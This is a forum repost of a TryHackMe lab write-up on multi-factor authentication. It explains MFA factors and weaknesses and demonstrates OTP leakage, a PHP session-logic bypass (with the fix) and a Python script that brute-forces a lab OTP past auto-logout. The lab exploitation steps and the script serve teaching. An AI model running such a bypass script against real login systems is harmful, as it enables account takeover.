Что нового
  • Что бы вступить в ряды "Принятый кодер" Вам нужно:
    Написать 10 полезных сообщений или тем и Получить 10 симпатий.
    Для того кто не хочет терять время,может пожертвовать средства для поддержки сервеса, и вступить в ряды VIP на месяц, дополнительная информация в лс.

  • Пользаватели которые будут спамить, уходят в бан без предупреждения. Спам сообщения определяется администрацией и модератором.

  • Гость, Что бы Вы хотели увидеть на нашем Форуме? Изложить свои идеи и пожелания по улучшению форума Вы можете поделиться с нами здесь. ----> Перейдите сюда
  • Все пользователи не прошедшие проверку электронной почты будут заблокированы. Все вопросы с разблокировкой обращайтесь по адресу электронной почте : info@guardianelinks.com . Не пришло сообщение о проверке или о сбросе также сообщите нам.

TryHackMe: Multi-Factor Authentication

Lomanu4

Команда форума
Администратор
Регистрация
1 Мар 2015
Сообщения
11,685
Баллы
155
Multi-Factor Authentication (MFA)


MFA typically combines two or more different kinds of credentials from the categories:


  • Something You Know: This could be a password, a PIN, or any other piece of info you have to remember.


  • Something You Have: This could be your phone with an authentication app, a security token, or even a smart card. Lately, we’re seeing more use of client certificates, which are like digital ID cards for devices.


  • Something You Are: This involves biometrics, such as fingerprints, facial recognition, or iris scans. This form of authentication is gaining popularity because it's tough to fake and is now found in many of our gadgets, from phones to laptops. It's important to note that a fingerprint never matches 100%, and a face scan never matches 100%. So this is the one factor that should always be supplemental and never used in pure isolation.


  • Somewhere You Are: This involves your origin IP address or geolocation. Some applications, like online banking services, restrict certain activity if they detect that you're making a request from an unknown IP address.


  • Something You Do: This kind of authentication is usually used in applications that restrict bot interaction, like registration pages. The application typically analyses the way the user types the credentials or moves their mouse, and this is also the most difficult to implement since the application requires a specific amount of processing power.
2-Factor Authentication (2FA)


2FA specifically requires exactly two of these factors. So, while all 2FA is MFA, not all MFA is 2FA. For example, an authentication system that requires a password, a fingerprint scan, and a smart card would be considered MFA but not 2FA. Some of the most common methods include:


  • Time-Based One-Time Passwords (TOTP): These are temporary passwords that change every 30 seconds or so. Apps like Google Authenticator, Microsoft Authenticator, and Authy use them, making them tough for hackers to intercept or reuse.


  • Push Notifications: Applications like Duo or Google Prompt send a login request straight to your phone. You can approve or deny access directly from your device, adding a layer of security that verifies possession of the device registered with the account.

  • SMS: Most of the applications currently use this method. The system sends a text message with a one-time code to the user’s registered phone number. The user must enter this code to proceed with the login. While convenient, SMS-based authentication is less secure due to vulnerabilities associated with intercepting text messages.


  • Hardware Tokens: Devices like YubiKeys generate a one-time passcode or use NFC for authentication. They’re great because they don’t need a network or battery, so they work even offline.
Conditional Access


Conditional access is typically used by companies to adjust the authentication requirements based on different contexts. It's like a decision tree that triggers extra security checks depending on certain conditions. For example:


  • Location-Based: If a user logs in from their usual location, like their office, they might only need to provide their regular login credentials. But if they're logging in from a new or unfamiliar location, the system could ask for an additional OTP or even biometric verification.


  • Time-Based: During regular working hours, users might get in with just their regular login credentials. However, if someone tries to access the system after working hours, they might be prompted for an extra layer of security, like an OTP or a security token.


  • Behavioral Analysis: Suppose a user's behavior suddenly changes, like they began accessing data they don't usually view or access at odd hours. In that case, the system can ask for additional authentication to confirm it’s really them.


  • Device-Specific: In some cases, companies don’t allow employees to use their own devices to access corporate resources. In these situations, the system might block the user after the initial login step if they’re on an unapproved device.
Common Vulnerabilities in MFA

1. Weak OTP Generation Algorithms


The security of a One-Time Password (OTP) is only as strong as the algorithm used to create it. If the algorithm is weak or too predictable, it can make the attacker's job easier trying to guess the OTP. If an algorithm doesn't use truly random seeds, the OTPs generated might follow a pattern, making them more susceptible to prediction.

2. Application Leaking the 2FA Token


If an application handles data poorly or has vulnerabilities like insecure API endpoints, it might accidentally leak the 2FA token in the application's HTTP response.

Due to insecure coding, some applications might also leak the 2FA token in the response. A common scenario is when a user, after login, arrives on the 2FA page, the application will trigger an XHR request (XMLHttpRequest) to an endpoint that issues the OTP. Sometimes, this XHR request returns the OTP back to the user inside the HTTP response.

3. Brute Forcing the OTP


Even though OTPs are designed for one-time use, they aren't immune to brute-force attacks. If an attacker can make unlimited guesses, they might eventually get the correct OTP, especially if the OTP isn't well protected by additional security measures. It's like trying to crack a safe by turning the dial repeatedly until it clicks open, given enough time and no restrictions, it might just work.

Lack of Rate Limiting

Without proper rate limiting, an application is open to attackers to keep trying different OTPs without difficulty. If an attacker can submit multiple guesses in a short amount of time, it increases the likelihood that the attacker will be able to get the correct OTP.

For example, in this HackerOne

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

, the tester was able to report a valid bug since the application doesn't employ rate limiting in the checking of the 2FA code.

4. Usage of Evilginx



Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

is a tool that is typically used in red team engagements. As it can be used to execute sophisticated phishing attacks, effectively bypassing Multi-Factor Authentication (MFA). It operates as a MITM proxy that can intercept and redirect OTPs meant for legitimate users.


Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.



How Evilginx works is that when an attacker sends a phishing link to you, and you enter your credentials on what looks like a legitimate login page, Evilginx captures your username, password, and OTP before forwarding them to the real site, giving attackers access using your cookies without needing to crack your MFA.

OTP Leakage


The OTP leakage in the XHR (XMLHttpRequest) response typically happens due to poor implementation of the 2FA (Two-Factor Authentication) mechanism or insecure coding. Some common reasons why this happens are because of:

Server-Side Validation and Return of Sensitive Data

In some poorly designed applications, the server validates the OTP, and rather than just confirming success or failure, it returns the OTP itself in the response. This is often done unintentionally, as part of debugging, logging, or poor response handling practices.

Lack of Proper Security Practices

Developers might overlook the security implications of exposing sensitive information like OTP in the API and XHR responses. This often happens when developers are focused on making the application functional without considering how attackers could exploit these responses.

Debugging Information Left in Production

During the development or testing phase, developers might include detailed debugging information in responses to help diagnose issues. If these debug responses are not removed before deploying to production, sensitive information like OTPs could be exposed.

Exploitation


Once entered credentials, try navigate to the network tab of Inspect. we might stumble upon the token in the response tab as shown below.


Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.



Once you're on the MFA page, you will see an XHR request triggered by the application that is sent to the /token endpoint.


Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.



As you can see in the XHR request submitted to the /token endpoint above, the application returns a response with a size of 16 bytes. Click this request and navigate to the Response tab, as shown below.


Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.



Copy the value of the token parameter and paste it into the OTP form, then click Verify Account.


Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.



To remediate this, applications should not return the generated 2FA or OTP in the response. Instead of returning the OTP, it is recommended to return a generic message like "success".

Insecure Coding

Logic Flaw or Insecure Coding?


In some applications, flawed logic or insecure coding practices can lead to a situation where critical parts of the application (i.e., the dashboard) can be accessed without fully completing the authentication process. Specifically, an attacker might be able to bypass the 2FA mechanism entirely and gain access to the dashboard or other sensitive areas without entering the OTP (One-Time Password). This is often due to improper session management, poor access control checks, or incorrectly implemented logic that fails to enforce the 2FA requirement.

Exploitation


Typically, the attacker first needs to understand how the application’s login and 2FA process work. In this case, after entering the username and password, the user is prompted to enter an OTP to gain access to the dashboard.


Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.



Instead of entering the OTP, the attacker might try to manipulate the URL or bypass the OTP step altogether. For example, the attacker might try to directly access the dashboard URL (e.g.,

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

) without completing the required authentication steps.

If the application doesn't properly check the session state or enforce 2FA or the application's logic is flawed, the attacker might gain access to the dashboard.

Cause


The code below is what causes such vulnerability to be present:


function authenticate($email, $password){
$pdo = get_db_connection();
$stmt = $pdo->prepare("SELECT `password` FROM users WHERE email = :email");
$stmt->execute(['email' => $email]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);

return $user && password_verify($password, $user['password']);
}

if (authenticate($email, $password)) {
$_SESSION['authenticated'] = true; # This flag should only be issued after the MFA completion
$_SESSION['email'] = $_POST['email'];
header('Location: ' . ROOT_DIR . '/mfa');
return;
}

As we can observe, the $_SESSION['authenticated'] is issued before 2FA is completed.

Solution


# Function that verifies the submitted 2FA token
function verify_2fa_code($code) {
if (!isset($_SESSION['token']))
return false;

return $code === $_SESSION['token'];
}

# Function called in the /mfa page
if (verify_2fa_code($_POST['code'])) { #If successful, the user will be redirected to the dashboard.
$_SESSION['authenticated'] = true; # Session that is used to check if the user completed the 2FA
header('Location: ' . ROOT_DIR . '/dashboard');
return;
}

Instead $_SESSION['authenticated'] should be issued after 2FA as seen above.

Beating the Auto-Logout Feature


In some applications, failing the 2FA challenge can cause the application to revert the user back to the first part of the authentication process (i.e., the initial login with username and password). This behavior typically occurs due to security mechanisms designed to prevent brute-force attacks on the 2FA part of the application. The application may force the user to reauthenticate to ensure that the person attempting to log in is indeed the legitimate user and not an attacker trying to guess the OTP.

Common Reasons for This Behavior


Session Invalidation

Upon failing the 2FA challenge, the application might invalidate the user's session as a security measure, forcing the user to start the authentication process from scratch.

Rate-Limiting and Lockout Policies

To prevent attackers from repeatedly attempting to bypass 2FA, the application may have rate-limiting or lockout mechanisms in place that trigger after a set number of failed attempts, reverting the user to the initial login step.

Security-Driven Redirection

Some applications are designed to redirect users back to the login page after multiple failed 2FA attempts as an additional security measure, ensuring that the user's credentials are revalidated before allowing another 2FA attempt.

Exploitation


For demonstration purposes, the application also generates a 4-digit PIN code every time the user logs in to the application.

Note: In real-life applications, the PIN code typically ranges from 0000 to 9999. We're only setting it to a lower value to save time brute-forcing it.


function generateToken()
{
$token = strval(rand(1250, 1350));

$_SESSION['token'] = $token;
return 'success';
}

Using the Python script below, save the script as exploit.py and run it in your terminal.


import requests

# Define the URLs for the login, 2FA process, and dashboard
login_url = '

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

'
otp_url = '

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

'
dashboard_url = '

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

'

# Define login credentials
credentials = {
'email': 'thm@mail.thm',
'password': 'test123'
}

# Define the headers to mimic a real browser
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': '

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

',
'Connection': 'close',
'Referer': '

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

',
'Upgrade-Insecure-Requests': '1'
}

# Function to check if the response contains the login page
def is_login_successful(response):
return "User Verification" in response.text and response.status_code == 200

# Function to handle the login process
def login(session):
response = session.post(login_url, data=credentials, headers=headers)
return response

# Function to handle the 2FA process
def submit_otp(session, otp):
# Split the OTP into individual digits
otp_data = {
'code-1': otp[0],
'code-2': otp[1],
'code-3': otp[2],
'code-4': otp[3]
}

response = session.post(otp_url, data=otp_data, headers=headers, allow_redirects=False) # Disable auto redirects
print(f"DEBUG: OTP submission response status code: {response.status_code}")

return response

# Function to check if the response contains the login page
def is_login_page(response):
return "Sign in to your account" in response.text or "Login" in response.text

# Function to attempt login and submit the hardcoded OTP until success
def try_until_success():
otp_str = '1337' # Hardcoded OTP

while True: # Keep trying until success
session = requests.Session() # Create a new session object for each attempt
login_response = login(session) # Log in before each OTP attempt

if is_login_successful(login_response):
print("Logged in successfully.")
else:
print("Failed to log in.")
continue

print(f"Trying OTP: {otp_str}")

response = submit_otp(session, otp_str)

# Check if the response is the login page (unsuccessful OTP)
if is_login_page(response):
print(f"Unsuccessful OTP attempt, redirected to login page. OTP: {otp_str}")
continue # Retry login and OTP submission

# Check if the response is a redirect (status code 302)
if response.status_code == 302:
location_header = response.headers.get('Location', '')
print(f"Session cookies: {session.cookies.get_dict()}")

# Check if it successfully bypassed 2FA and landed on the dashboard
if location_header == '/labs/third/dashboard':
print(f"Successfully bypassed 2FA with OTP: {otp_str}")
return session.cookies.get_dict() # Return session cookies after successful bypass
elif location_header == '/labs/third/':
print(f"Failed OTP attempt. Redirected to login. OTP: {otp_str}")
else:
print(f"Unexpected redirect location: {location_header}. OTP: {otp_str}")
else:
print(f"Received status code {response.status_code}. Retrying...")

# Start the attack to try until success
try_until_success()

Execute the command below.


attacker@kali$ $ python3 exploit.py
Logged in successfully.
Trying OTP: 1337
DEBUG: OTP submission response status code: 302
Unsuccessful OTP attempt, redirected to login page. OTP: 1337
Logged in successfully.
Trying OTP: 1337
DEBUG: OTP submission response status code: 302
Unsuccessful OTP attempt, redirected to login page. OTP: 1337
Logged in successfully.
Trying OTP: 1337
DEBUG: OTP submission response status code: 302
Session cookies: {'PHPSESSID': '57burqsvce3odaif2oqtptbl13'}

Using the new PHPSESSID, go to login page, open your browser's developer tools, and navigate to Storage > Cookies.


Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.



Replace the PHPSESSID value with the PHPSESSID from your terminal.


Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.



Once done, go to dashboard.


Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

 
Вверх